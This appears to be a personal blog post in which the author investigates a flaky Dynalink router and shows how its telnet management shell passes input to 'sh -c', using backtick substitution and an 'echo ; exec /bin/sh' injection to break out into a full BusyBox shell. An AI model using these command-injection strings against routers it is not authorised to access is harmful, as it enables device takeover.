How NOT to write software

  • user warning: Can't open file: 'sessions.MYI'. (errno: 145) query: SELECT COUNT(sid) AS count FROM sessions WHERE timestamp >= 1496070909 AND uid = 0 in /var/www/drupal-5.23/includes/ on line 174.
  • user warning: Can't open file: 'sessions.MYI'. (errno: 145) query: SELECT DISTINCT u.uid,, s.timestamp FROM users u INNER JOIN sessions s ON u.uid = s.uid WHERE s.timestamp >= 1496070909 AND s.uid > 0 ORDER BY s.timestamp DESC in /var/www/drupal-5.23/includes/ on line 174.

The embedded routers available on the market these days are truly wonderful things. You buy one, it just works, you leave it there until there is a compelling reason to get a new one. Everybody is happy.

Oops! Just kidding! That's the way things ought to work, but it never days. Getting a router that works these days (perhaps with the exception of an Apple router, I guess) is largely a game of chance. Even doing due diligence by reading online reviews will not save you.

The particular one I have, a Dynalink RTA1046VW, which appears to be a rebadged Netcomm, does wireless and VOIP along with the usual Ethernet connection. The wireless would, however, fail every couple of days. It would just drop stone cold, and I'd have to reset it, but when I do the VOIP line would drop dead. This, gentle reader, in case you have not realized now, is very annoying. I thought the point of the wireless being there was so that you can use it?

Must be tough, writing router firmware, though I offer an alternative explanation. Maybe the hardware manufacturers of these routers simply do not give a damn about the quality of the software they stick inside these routers. A scary thought, millions of these devices powering the Intarwebs of the average Joe. Most of the time the poor quality manifests itself in things that won't work, like my wireless module. Sometimes they are a bit more egregious.

The particular router I have happens to run Linux. You don't find any mention of this or the fact that it uses GPL software, because it is not advertised as such. I am not a lawyer and do not know if you're required to acknowledge the fact that there's GPL software on the router, but for 10 bucks they do offer to send you a CD with source code on it.

I found it it ran Linux when I started poking around with the router when I wanted to find out whether there was some misconfiguration that caused the wireless to drop out every couple of days. They have the usual web interface but when I experimented with it, turns out they have a telnet interface. It drops you into a custom command prompt with a set of built-in commands. That's not unusual in itself, but the output was.

> ps
PID Uid VmSize Stat Command
1 admin 316 S init
2 admin SW< [ksoftirqd/0]
3 admin SW< [events/0]
4 admin SW< [khelper]
5 admin SW< [kblockd/0]
17 admin SW [pdflush]
18 admin SW [pdflush]
19 admin SW [kswapd0]
20 admin SW< [aio/0]

Say, what? Busybox, is that you? Anyway, more on the ps output later. There's a surprising whole load of things that you can do even when you are in the crappy customized shell. For example, you can find out what kernel version it is running.

> cat /proc/version
Linux version ( Compiled by michaelc) (gcc version 3.4.2) #1 Tue Apr 14 15:25:39 CST 2009

Linux was released in 2004. I got this router in 2009. Dear firmware developer, what have you been doing for the last couple of years?

Back to the ps output. What makes the ps output particular interesting is not the output format per se but what it shows:

1126 admin 2404 S rvsip
1127 admin 2404 S rvsip
1128 admin 2404 S rvsip
1216 admin 988 S telnetd
1227 admin 312 S sh -c ps
1228 admin 332 R ps

It looks like they are using system(), which invokes sh -c, to call the ps command. With that in mind, I can do this:

1128 admin 2404 S rvsip
1216 admin 988 S telnetd
1229 admin 324 S sh -c ps `cat /proc/version`
1232 admin 332 R ps Linux version ( Compiled by michaelc) (gcc

See? I just got the shell to run another command for me outside of the customized shell. That's not so interesting, but you can do useful things based on this. For example, the customized shell does not come with a ls command, but it does come with an echo command. So I can do this:

> echo /bin/*
/bin/adsl /bin/adslctl /bin/atm /bin/atmctl /bin/autoprovisionlan /bin/brctl /bin/busybox /bin/cat /bin/cfesetup /bin/cfm /bin/chmod /bin/date /bin/ddnsd /bin/df /bin/dhcpc /bin/dhcpd /bin/dhcpr /bin/dmesg /bin/dproxy /bin/dumpmem /bin/ebtables /bin/echo /bin/epi_ttcp /bin/ethctl /bin/false /bin/hotplug /bin/ifstat /bin/igmp /bin/ip /bin/iptables /bin/kill /bin/ln /bin/mkdir /bin/mount /bin/mpd /bin/msh /bin/nas /bin/nas4not /bin/netctl /bin/nstat /bin/ping /bin/pppd /bin/ps /bin/pvc2684ctl /bin/pvc2684d /bin/pwd /bin/rm /bin/rtacct /bin/rtstat /bin/rvsip /bin/sendarp /bin/setmem /bin/sh /bin/sntp /bin/ss /bin/sysinfo /bin/tc /bin/tftpd /bin/true /bin/udhcpd /bin/upnp /bin/voicectl /bin/wl /bin/wlctl

OK, this is really annoying. I want a shell.

> echo `/bin/sh`
(no output)

That was disappointing. However, from the output listed earlier we know sh -c is used to invoke busybox commands from the custom shell. The -c argument takes a line of arbitary shell commands, all you have to do is separate it with a semicolon! So, in theory, I should be able to run the /bin/sh command (or any arbitrary command) if I tacked on the command I wanted to run at the end.

> echo; exec /bin/sh
echo; exec /bin/sh: not found

OK, that didn't work. But what if I separated the echo command and the semi-colon with a space?

> echo ; exec /bin/sh

BusyBox v1.00 (2009.04.14-07:30+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.


Aha! Success!

# help

Built-in commands:
. : break cd continue eval exec exit export help login newgrp
read readonly set shift times trap umask wait [ busybox cat chmod
date df dmesg echo expr false ifconfig init insmod kill klogd
linuxrc ln logger logread mkdir mount msh ping ps pwd reboot
rm rmmod route sendarp sh sysinfo syslogd test tftp tftpd top
true tty vconfig


Next time, do yourself a favor and get a piece of hardware on which you can install custom software, it may require a bit more initial setup but is more likely to work and will almost not be shoddily cobbled together like mine.




What an interesting article.

What an interesting article. May be if I have time I will try a similar thing on my router.

But my next target actually will be playing with the DD-WRT.


There is no place like